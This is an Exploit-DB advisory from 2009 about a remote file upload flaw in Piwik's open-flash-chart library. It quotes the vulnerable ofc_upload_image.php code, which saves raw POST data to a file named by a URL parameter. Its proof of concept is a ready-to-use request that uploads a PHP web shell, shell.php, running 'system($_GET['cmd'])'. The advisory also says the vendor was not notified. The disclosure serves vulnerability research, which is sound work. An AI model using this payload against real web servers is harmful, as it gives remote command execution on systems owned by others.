Piwik 1357 2009-08-02 - Arbitrary File Upload / Code Execution

EDB-ID:

9962

CVE:

N/A

Author:

boecke

Type:

webapps

Platform:

PHP

Published:

2009-10-19

Piwik Build <= 1357 2009-08-02 (ofc_upload_image.php) Remote File Upload
Discovery: Braeden Thomas
Versions Affected: All Piwik versions utilising open-flash-chart

I. DESCRIPTION
Piwik is an open source web analytics software. 
It gives interesting reports on your website visitors, your popular pages, 
the search engines keywords they used, the language they speak‚ and so much more.

II. EXPLANATION
The vulnerability exists in Piwik's implementation of "open-flash-chart",
a module which resides in the "./libs/open-flash-chart/php-ofc-library" directory.

The vulnerable code forces Piwik to create a directory called
"./libs/open-flash-chart/tmp-upload-images" which in turn creates a file which is
able to hold PHP code. This code however does not function correctly if global
variables are unable to be overwritten.

III. VULNERABILITY
<?
	$default_path = '../tmp-upload-images/';
	if (!file_exists($default_path)) mkdir($default_path, 0777, true);
		$destination = $default_path . basename( $_GET[ 'name' ] );  // This should be sanitised before use.
	
	echo 'Saving your image to: '. $destination; // and it tells us where it's saving it to, sigh.

	$jfh = fopen($destination, 'w') or die("can't open file"); // The vulnerable code is right here.
	fwrite($jfh, $HTTP_RAW_POST_DATA);			   // and here, <?phpinfo();?>, <?system($_GET['cmd']);?>
	fclose($jfh);
?>

IV. PROOF OF CONCEPT
./libs/open-flash-chart/php-ofc-library/ofc_upload_image.php?name=shell.php&HTTP_RAW_POST_DATA=<?system($_GET['cmd']);?>

V. VENDOR
The vendor has not been notified.

VI. SOFTWARE AFFECTED
Piwik and various other software utilising the open-flash-chart library.
The latest version of open-flash-chart (version 2) also includes the vulnerable file
yet may be omitted from various implementations of the open-flash-chart library.